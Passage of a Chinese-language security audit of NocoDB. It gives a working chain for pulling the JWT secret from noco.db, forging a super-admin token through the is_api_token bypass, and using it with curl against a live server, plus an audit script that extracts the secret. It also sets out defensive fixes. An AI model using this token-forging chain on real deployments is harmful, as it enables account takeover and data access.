$ sqlite3 /usr/app/data/noco.db "SELECT * FROM nc_store WHERE key = 'nc_auth_jwt_secret';"
2||db|nc_auth_jwt_secret|36361e58-321d-4198-a204-6e5341e73f82
sqlite3 不在容器里,我是通过 docker cp 把数据库拷到宿主机上查的。nc_store 是个 key-value 表,nc_auth_jwt_secret 的 value 是 UUID 格式的字符串。这个值就是 JWT 的 HMAC-SHA256 签名密钥。
密钥直接明文存——没有加密,没有访问控制。只要攻击者能读取数据库文件(备份泄露、容器逃逸、路径穿越),就能拿到这个密钥。
源码 Noco.ts 里的 initJwt() 方法(line 263-292)揭示了这个密钥的加载过程:
public static async initJwt(): Promise<any> {
if (this.config?.auth?.jwt) {
if (!this.config.auth.jwt.secret) {
let secret = (await this._ncMeta.metaGet(
RootScopes.ROOT, RootScopes.ROOT,
MetaTable.STORE,
{ key: 'nc_auth_jwt_secret' },
))?.value;
if (!secret) {
await this._ncMeta.metaInsert2(
RootScopes.ROOT, RootScopes.ROOT,
MetaTable.STORE,
{ key: 'nc_auth_jwt_secret', value: (secret = uuidv4()) },
true,
);
}
this.config.auth.jwt.secret = secret;
}
// ...
}
}
逻辑很清楚:首次启动时用 uuidv4() 生成随机密钥存入数据库,后续从数据库读取。密钥只用了一次随机生成,之后一直复用——不会轮换,不会过期。
5.2 is_api_token 绕过 token_version 校验
有了 JWT 签名密钥就能伪造 Token。但 JwtStrategy 在校验时还有一个 token_version 检查。
看 strategies/jwt.strategy.ts 的代码:
async validate(req, jwtPayload) {
if (!jwtPayload?.email || jwtPayload?.is_api_token || jwtPayload?.is_oauth_token)
return jwtPayload;
const user = await User.getByEmail(jwtPayload?.email);
if (!user) NcError.unauthorized('Token Expired...');
if (user.token_version !== jwtPayload.token_version) {
NcError.unauthorized('Token Expired. Please login again.');
}
// ...
}
读到这里我停了一下。第三行——如果 payload 里设置了 is_api_token: true,直接返回 payload,不查数据库,不比 token_version。等等,那 token_version 检查不就被跳过了吗?
试一下伪造一个 JWT,payload
里写 is_api_token: true + 随便什么角色,看看服务端认不认。
5.3 伪造管理员Token
拿到了密钥和旁路条件,伪造过程很简单:
$ python3 -c "
import jwt, time
secret = '36361e58-321d-4198-a204-6e5341e73f82'
now = int(time.time())
payload = {
'email': '[email protected]',
'id': 'us_forged_admin_001',
'display_name': 'Forged Admin',
'roles': 'super-admin,org-level-creator',
'is_api_token': True, # ← 绕过关键
'iat': now,
'exp': now + 36000,
}
token = jwt.encode(payload, secret, algorithm='HS256')
print(token)
"
验证伪造的 Token:
$ curl -s http://139.199.68.168:8080/api/v1/auth/user/me \
-H "xc-auth: <伪造的JWT>"
{
"email": "[email protected]",
"roles": {"super-admin": true, "org-level-creator": true},
"is_api_token": true,
"isAuthorized": true
}
/auth/user/me 确认了伪造的 Token 可用
,返回 super-admin 角色。注意响应里根本没有 email_verified 字段——这个用户不存在于数据库中,但仍然通过了认证。iat 和 exp 的值都是我们指定的。
再用这个 Token 上传文件:
$ echo 'forged by admin' > forged_test.txt
$ curl -s -X POST http://139.199.68.168:8080/api/v1/db/storage/upload \
-H "xc-auth: <伪造的JWT>" \
-F "file=@forged_test.txt"
[{"path":"download/2026/07/27/{hash}/forged_test.txt","mimetype":"text/plain","size":16,"signedPath":"dltemp/..."}]
上传成功。注意这个用户([email protected])
根本不在 NocoDB 的数据库里——完全是凭空伪造出来的身份,但能通过认证并操作需要 SUPER_ADMIN 权限的功能。
5.4 攻击链总结
注册获得访问 → 获取数据库读取权限(备份泄露/存储共享/容器逃逸)
→ 从 nc_store 表提取 nc_auth_jwt_secret
→ 用密钥签发伪造 JWT(is_api_token: true + super-admin 角色)
→ 绕过 token_version 校验
→ 以管理员身份操作 NocoDB
最关键的发现不是"密钥存数据库"——所有系统都得存密钥。真正的发现是两条防御机制之间存在设计间隙:
1 token_version 是 NocoDB 用来防止旧 Token 滥用的机制,但 is_api_token 是它的旁路
2这两个功能是不同开发者、不同时间点写的逻辑,合在一起产生了绕过效果
3 JwtStrategy 的早期返回(line 19-24)写于 API 令牌功能的支持需求,但它为攻击者留了后门
5.5 防守建议
| 发现 | 修复方案 | 优先级 |
|---|---|---|
| JWT 密钥明文存 SQLite | 改用环境变量 NC_AUTH_JWT_SECRET,不依赖数据库存储 | 🔴 高 |
| is_api_token 旁路 | JwtStrategy 的早期返回不应允许自定义 roles 字段;或在绕过时降权为 guest | 🔴 高 |
| 密钥不轮换 | 定期更换 JWT 签名密钥,使旧 Token 失效 | 🟡 中 |
| 数据库文件暴露 | 确保 noco.db 不被公开访问或包含在备份泄露中 | 🟠 高 |
六、额外发现
6.1 邮箱验证不强制
注册后的邮箱验证端点虽然存在,但注册流程里从来没有调用过它:
$ curl -s -X POST http://139.199.68.168:8080/api/v1/auth/email/validate/test_token_here{"msg":"Token has been validated successfully"}
端点存在、响应 200、接受任意 tokenId 参数。再用一个不存在的 tokenId 试试:
$ curl -s -X POST http://139.199.68.168:8080/api/v1/auth/email/validate/invalid_token_xxx{"msg":"Token has been validated successfully"}
看到了吧——不管传什么 tokenId,都返回"验证成功"。说明这个端点的实现可能是个空壳,或者 tokenId 查找失败时默认返回成功。
源码 line 597-599 有一段注释:
// TODO: Right now we are not actively enforcing email verification
// so we are not sending email verification email
// but we should send email verification email
用任意邮箱(包括不存在的域名)注册后可以直接用 Token 访问所有授权接口。邮箱验证这个环节完全被跳过了。
我一开始没注意到邮箱验证的问题——注册成功后直接就能用 Token,我以为验证是在后台静默完成的。后来看源码才发现注册流程里根本没有调用 emailVerification 方法。signup 流程在 usersService.signup() 结尾直接返回了 login(user) 的结果(也就是 JWT),没有等待验证。
这也就意味着攻击者可以用 [email protected]、[email protected] 这类看起来可信的邮箱注册。虽然不会真的获得管理员权限,但污损了用户数据库的数据完整性——管理员在后台看到一堆乱起八糟的邮箱。注册流程中还有 T.emit('evt_subscribe', email) 事件发射,如果配置了邮件订阅服务,还可能造成邮件轰炸。
6.2 密码重置端点是空壳
$ curl -s -X POST http://139.199.68.168:8080/api/v1/auth/password/forgot \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]"}'
{"msg":"Please check your email to reset the password"}
如果没有配置邮件服务(Docker 默认不配 SMTP),这个端点就只是返回了一句话,什么也没做。邮件发送失败会被 catch 块吞掉(源码 line 610-612),只有一条 warn 日志:
this.logger.warn('Warning : `mailSend` failed, Please configure emailClient configuration.');
如果是真实攻击场景,默认配置下无法通过密码重置拿账号——换个角度想,如果管理员配了 SMTP,密码重置 token 就变成了一个攻击面(token 泄漏、暴力破解 token 等)。但默认配置下这个功能是关闭的。
不是漏洞,但它说明邮件通知相关的安全功能(密码重置、邮箱验证、登录告警)在默认配置下全是空壳。如果管理员以为"有密码重置功能就安全了",这个认知差距本身就是风险。
我在排查邮件功能的时候还发现了一个细节——appSettings 里有一个 invite_only_signup 配置项。如果管理员设置了这个字段,就能阻止开放注册。但我在 Docker 默认部署中检查了这个配置,它的值是 undefined,所以注册对所有请求开放。设置方法是通过 NocoDB 管理后台或直接插入数据库 nc_store 表。
6.3 Token 有效期 10 小时
genJwt 函数的默认设置(services/users/helpers.ts):
{ expiresIn: '10h', ...(config.auth.jwt.options as any), ...jwtOptions }
10 小时的窗口不算短——攻击者拿到 Token 后,有足够的时间做侦察、数据导出、横向移动。JWT 签发后服务端不做主动撤销(除非调用 signOut 导致 token_version 更新),所以 Token 一直有效到期满。
对比同类产品的默认 Token 有效期:Airtable 的 API key 不会自动过期,Supabase 的匿名 Token 默认 1 小时,Appwrite 的 JWT 默认 15 分钟。NocoDB 的 10 小时在同类产品中是最长的之一。
token_version 机制的设计意图是登出或密码变更时让旧 Token 失效,很好的安全实践。但攻击者自己注册的 Token 不存在登出问题——只要不触发 token_version 更新,Token 就一直有效。
如果管理员配置了 NC_AUTH_JWT_SECRET,密钥泄露后攻击者可以在 Token 过期后自行签发任意身份的 Token。此时 token_version 校验也防不住——攻击者可以签发一个包含已知 token_version 的新 Token。
七、防守建议
| 问题 | 修复方案 | 实现方式 | 优先级 |
|---|---|---|---|
| 开放注册 | 关闭开放注册 | NC_DISABLE_SIGNUP=true 环境变量 | 🔴 高 |
| 文件无类型限制 | 加 MIME 白名单 | 自定义 fileFilter 回调,只允许图片/文档 | 🔴 高 |
| 下载无需认证 | 守卫保护下载路由 | 给 /download/* 等挂 GlobalGuard | 🔴 高 |
| 无文件隔离 | 下载校验所有权 | 按 req.user.id 匹配文件路径的 hash | 🟠 中 |
| 邮箱验证缺失 | 启用验证流程 | 注册后发验证邮件,未验证 Token 降低权限 | 🟡 中 |
| 版本信息泄露 | 屏蔽版本路由 | 反向代理拦截 /api/version | 🟡 中 |
| 无速率限制 | 加限流 | Nginx/AWS WAF 限制单 IP 请求量 | 🟡 中 |
如果不想改代码,最低成本的防御是三层策略:
网络层:NocoDB 不直接暴露公网。放到内网通过反向代理访问。这样 /download/* 虽然没守卫,但外部流量到不了 NocoDB。这是收益最高的单条防御。
认证层:设置 NC_DISABLE_SIGNUP=true。环境变量在 Docker 启动时加一行就行:
$ docker run -e NC_DISABLE_SIGNUP=true -p 8080:8080 nocodb/nocodb:latest
一个环境变量解决开放注册和批量注册两个问题。
应用层:反向代理加文件类型过滤。Nginx 配置示例:
location ~ ^/(download|dl|dltemp)/ {
# 阻止危险文件类型被下载
if ($uri ~* \.(html?|php|phtml|php[0-9]|jsp|asp|aspx|sh|pl|cgi)$) {
return 403;
}
proxy_pass http://nocodb:8080;
}
这只是一个快速拦截方案——理想方案是在 NocoDB 源码层面给下载路由加 @UseGuards(GlobalGuard),或者开启附件签名验证(NocoDB 有 PresignedUrl 模型但默认未启用)。
如果按照部署环境来分类,推荐的加固优先级略有不同:
公网部署:开放注册是最高优先级风险,攻击者不需要任何前置条件就能注册账号。先关注册,再补下载路由守卫。反向代理挡 /download/* 在下游配置里加一行就行。
内网部署:开放注册的风险相对小(因为攻击者需要先进入内网),但文件上传和下载仍然是问题。内网用户也可能上传恶意文件互相攻击。先把下载路由补上。
开发/测试环境:至少关掉版本信息暴露,防止侦察。开发环境通常有调试日志、测试数据,暴露出去的信息量比生产环境还大。
八、写到最后
NocoDB 是个好产品,功能强、社区活跃。但这个分析下来,下载路由完全没守卫——上传挂了 GlobalGuard + MetaApiLimiterGuard 两个守卫,下载一个都没挂。三个下载路由的代码相隔不到 100 行,在编辑器里上下翻一下就能看到上传的守卫装饰器。
源码里的 todo 注释("opening up signup for timebeing")同样说明团队知道问题,但没排进修复优先级。开源项目功能优先于安全,可以理解。
做这个分析最大的感受是:NocoDB 的问题不是代码写得不好,而是"没人把整个攻击链路走一遍"。上传路由有守卫、下载路由没有,这种不对称在逐文件审查时一眼就能看出来,但功能开发时不会想到有人从上传到下载到数据库一路摸过去。如果你在生产环境用 NocoDB,建议先把 NC_DISABLE_SIGNUP=true 打开。
文中所有验证均在自有服务器完成,未攻击第三方系统。
附:nocodb-audit.sh
#!/bin/bash
TARGET="${1:-http://localhost:8080}"
echo "================================================"
echo " NocoDB 安全检查"
echo " Target: $TARGET"
echo "================================================"
echo -e "\n[1/6] 版本信息泄露"
curl -s "$TARGET/api/v1/version" | python3 -m json.tool
echo -e "\n[2/6] 开放注册"
RESULT=$(curl -s -X POST "$TARGET/api/v1/auth/user/signup" \
-H "Content-Type: application/json" \
-d "{\"email\":\"audit_$(date +%s)@test.com\",\"password\":\"Test1234!\",\"first_name\":\"Audit\",\"last_name\":\"Bot\"}")
TOKEN=$(echo "$RESULT" | python3 -c "import sys,json;print(json.load(sys.stdin).get('token','N/A'))" 2>/dev/null)
echo "Token: ${TOKEN:0:30}..."
[ "$TOKEN" = "N/A" ] && echo "注册失败" && exit 1
echo -e "\n[3/6] 文件上传"
echo 'audit_ok' > /tmp/audit.txt
UPLOAD=$(curl -s -X POST "$TARGET/api/v1/db/storage/upload" \
-H "xc-auth: $TOKEN" \
-F "file=@/tmp/audit.txt")
P=$(echo "$UPLOAD" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d[0]['path'])" 2>/dev/null)
SP=$(echo "$UPLOAD" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d[0]['signedPath'])" 2>/dev/null)
echo "上传路径: $P"
echo -e "\n[4/6] 下载(无认证)"
curl -s "$TARGET/$P"
echo ""
curl -s "$TARGET/$SP"
echo ""
echo -e "\n[5/6] 跨用户访问"
curl -s "$TARGET/$P"
echo ""
echo -e "\n[6/6] JWT密钥"
if command -v docker &>/dev/null; then
CID=$(docker ps -q --filter publish=8080 2>/dev/null | head -1)
if [ -n "$CID" ]; then
docker cp "$CID:/usr/app/data/noco.db" /tmp/noco_audit.db 2>/dev/null
if [ -f /tmp/noco_audit.db ] && command -v sqlite3 &>/dev/null; then
SECRET=$(sqlite3 /tmp/noco_audit.db "SELECT value FROM nc_store WHERE key='nc_auth_jwt_secret';" 2>/dev/null)
[ -n "$SECRET" ] && echo "JWT密钥: $SECRET"
rm -f /tmp/noco_audit.db
fi
fi
fi
echo "(需本地访问 noco.db)"
echo -e "\n================================================"
echo " 检查完成"
echo "================================================"